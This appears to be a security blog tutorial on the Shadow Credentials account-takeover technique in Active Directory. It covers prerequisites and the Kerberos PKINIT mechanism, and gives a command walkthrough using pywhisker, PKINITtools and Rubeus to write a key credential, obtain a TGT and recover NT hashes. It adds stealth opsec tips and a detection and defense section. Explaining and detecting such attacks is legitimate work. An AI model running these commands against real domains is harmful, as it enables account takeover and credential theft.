Shadow Credentials: Key Trust Account Takeover

Shadow Credentials: Key Trust Account Takeover - article cover image Active Directory
Time it takes to read this article 6 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Shadow Credentials is an account-takeover technique that abuses the msDS-KeyCredentialLink attribute — the same attribute Windows Hello for Business uses to bind a device’s public key to an account for passwordless logon. If you can write that attribute on a target user or computer, you can add a key credential you control, then authenticate as that principal using Kerberos PKINIT (certificate-based pre-authentication) with your matching private key. No password reset, no knowledge of the existing secret, and — critically — the legitimate credential keeps working, so the takeover is almost invisible to the account’s owner.

What makes the technique so valuable on engagements is its stealth and reversibility compared to the classic alternative. Where a password reset over GenericAll breaks the target service and screams in the logs, a Shadow Credentials attack writes one multi-valued attribute, obtains a TGT, and can then recover the account’s NT hash via the U2U ‘UnPAC-the-hash’ trick — all without touching the password. Benjamin Delpy and Michael Grafnetter documented the underlying Key Trust primitive, and Elad Shamir’s 2021 research plus the release of Whisker turned it into a mainstream abuse path.

Attack Prerequisites

Shadow Credentials is a write-primitive abuse plus a PKINIT-capable environment. All of the following must hold:

  • Write access to msDS-KeyCredentialLink on the target — via GenericAll, GenericWrite, WriteProperty on that attribute, or an equivalent delegated right over the victim user or computer object.
  • A DC that supports PKINIT — a Windows Server 2016+ domain functional level, with at least one domain controller holding a valid KDC / Domain Controller Authentication certificate so it can service certificate-based pre-authentication.
  • An enterprise PKI (AD CS) or otherwise a KDC cert trust chain — Key Trust does not require the *attacker* to have a CA, but the KDC must trust the key material, which in practice means the NTAuth store and a functioning PKI.
  • Network access to a DC over Kerberos (88) and LDAP (389/636) to write the attribute and request the ticket.

How It Works

Kerberos supports two pre-authentication models. The default is symmetric: the client proves knowledge of a key derived from the password. PKINIT is the asymmetric alternative — the client signs the pre-auth data with a private key, and the KDC validates the corresponding certificate/public key, then returns a TGT whose session key is encrypted to the client’s key. Key Trust is a lightweight PKINIT variant introduced for Windows Hello for Business: instead of a full certificate enrolled against the account, the account simply stores raw public keys in msDS-KeyCredentialLink. The KDC trusts any private key whose public half is listed there.

That is the whole vulnerability. msDS-KeyCredentialLink is a multi-valued attribute of KeyCredential structures serialized in the DS-Binary ‘KEYCREDENTIALLINK_BLOB’ format (the same structure Grafnetter reverse-engineered as the ‘DSInternals’ key-credential objects). An attacker who can write it appends a brand-new KeyCredential built from an attacker-generated key pair (tools wrap the public key in a self-signed certificate for convenience). From the KDC’s perspective the account now has a valid device key, and a PKINIT AS-REQ signed with the attacker’s private key yields a TGT for the victim.

The final step monetizes the TGT. Because a PKINIT logon returns a PAC that contains the account’s NTLM secret (encrypted under the AS-REP key so that Windows can transparently fall back to NTLM), the attacker can perform a user-to-user (U2U) request and decrypt that structure to recover the NT hash — the ‘UnPAC-the-hash’ technique. The result is both a Kerberos TGT and the long-term NT hash, giving durable access even after the key credential is removed.

Vulnerable Configuration: A Writable Key-Credential Attribute

The precondition is an ACE letting a controlled principal write msDS-KeyCredentialLink on the victim. That attribute is covered by GenericAll and GenericWrite, or can be delegated on its own. Reading the target’s DACL shows the writable right — here a low-priv user can write the attribute on a computer object:

$ dacledit.py -action read -target 'WS01$' \
    corp.local/jdoe:'Passw0rd!' -dc-ip 10.10.10.10

    ACE Type      : ACCESS_ALLOWED_OBJECT_ACE
    Access mask   : WriteProperty (0x00000020)
    Object type   : msDS-KeyCredentialLink (5b47d60f-6090-40b2-9f37-...)
    Trustee (SID) : CORP\jdoe
TEXT

Equally important is the *environmental* precondition that makes the written key usable: a DC that can service PKINIT. The vulnerable state is simply a modern DC that already holds a Domain Controller Authentication certificate issued by the enterprise CA — normal for any AD CS deployment. You can confirm the attribute is empty (i.e., the account has no legitimate Hello keys, so your addition stands out less if you clean up) before writing:

# Read current key credentials (DSInternals). Empty = no legit Hello keys.
Get-ADComputer WS01 -Properties msDS-KeyCredentialLink |
    Select-Object -ExpandProperty msDS-KeyCredentialLink
PowerShell

Walkthrough / Exploitation

From Linux, pywhisker writes the key credential and hands you a PKCS#12 (.pfx) plus its password. Add a fresh credential to the victim:

# Add an attacker-controlled key credential to the target's attribute.
pywhisker.py -d corp.local -u jdoe -p 'Passw0rd!' \
    --target 'WS01$' --action add
# -> saves <random>.pfx and prints the PFX password + a DeviceID for cleanup
Bash

Now exchange the certificate for a TGT via PKINIT using PKINITtools’ gettgtpkinit.py. The tool also prints the AS-REP encryption key, which the next step needs:

# PKINIT AS-REQ with the attacker key pair -> TGT for WS01$.
gettgtpkinit.py -cert-pfx <random>.pfx -pfx-pass <pfx_pass> \
    corp.local/'WS01$' ws01.ccache
# Note the printed 'AS-REP encryption key' for UnPAC-the-hash.
Bash

Recover the NT hash with getnthash.py, supplying that AS-REP key; then use the ccache or the hash for onward movement:

# UnPAC-the-hash: decrypt the NTLM secret from the PAC.
export KRB5CCNAME=ws01.ccache
getnthash.py -key <as_rep_key> corp.local/'WS01$'
# -> prints the NT hash of WS01$
Bash

The Windows equivalent is a single Rubeus invocation that adds the key, or consumes an existing PFX, requests the TGT, and performs UnPAC-the-hash with /getcredentials:

Rubeus.exe asktgt /user:WS01$ /certificate:<base64_pfx> \
    /password:<pfx_pass> /getcredentials /show /nowrap
# Whisker.exe add /target:WS01$  performs the attribute write on Windows.
TEXT

Note: Key Trust is often confused with the AD CS certificate-abuse chains (ESC1-ESC8). They share PKINIT as the delivery mechanism, but Shadow Credentials does not enroll a certificate against the target at all — it writes a raw public key into msDS-KeyCredentialLink. The only PKI dependency is that a DC can service PKINIT (it needs a KDC cert); the attacker never touches the CA.

Opsec: Always record the DeviceID your tool assigns and remove the credential afterward (pywhisker --action remove --device-id ... / Whisker.exe remove). Leaving a foreign key on a Tier-0 account is a persistent backdoor and a glaring IOC. On accounts that already use Windows Hello, adding a value is stealthier; on accounts with an empty attribute, your addition is the only value and stands out in change auditing.

Detection and Defense

Because the attack is a single directory write followed by PKINIT logons, detection centers on msDS-KeyCredentialLink changes and certificate-based authentications from unexpected principals:

  • Event ID 5136 (directory object modified) where the modified attribute is msDS-KeyCredentialLink — alert on writes to accounts that are not Hello for Business enrolled, and on any write to Tier-0 objects.
  • Event ID 4768 (a Kerberos TGT was requested) with certificate pre-authentication — correlate PKINIT logons against your known Hello enrollment population.
  • DSInternals Get-ADKeyCredentialLink to inventory and baseline existing key credentials, hunting for values whose creation time or device metadata does not match a real enrollment.
  • Least privilege on the attribute — audit and remove write access to msDS-KeyCredentialLink for non-administrative principals; protect it on Tier-0 objects and computers via clean DACLs and the AdminSDHolder mechanism.
  • Constrain PKINIT — keep the NTAuth store tight and monitor CA-issued DC certificates; treat unexpected certificate authentications as high signal.

Real-World Impact

Shadow Credentials entered the mainstream with Elad Shamir’s 2021 write-up ‘Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover’ and the concurrent release of Whisker by Lee Christensen and Nick Powers, building on Michael Grafnetter’s DSInternals work on the key-credential structure. It has since become a standard BloodHound abuse edge (‘AddKeyCredentialLink’) and a preferred alternative to password resets on red teams precisely because it is quiet and non-destructive. It also pairs naturally with RBCD and AD CS relay chains: any primitive that yields write access to a computer object can be redirected into a Shadow Credentials takeover of that machine.

Conclusion

Shadow Credentials turns a mundane write permission over one attribute into full impersonation of a user or computer, with the account’s password left untouched. The mechanism is legitimate — it is exactly how Windows Hello for Business binds device keys to accounts — which is why the fix is not a patch but disciplined access control: lock down who can write msDS-KeyCredentialLink, audit changes to it as a Tier-0 event, and baseline your real Hello enrollments so a foreign key stands out the moment it appears.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL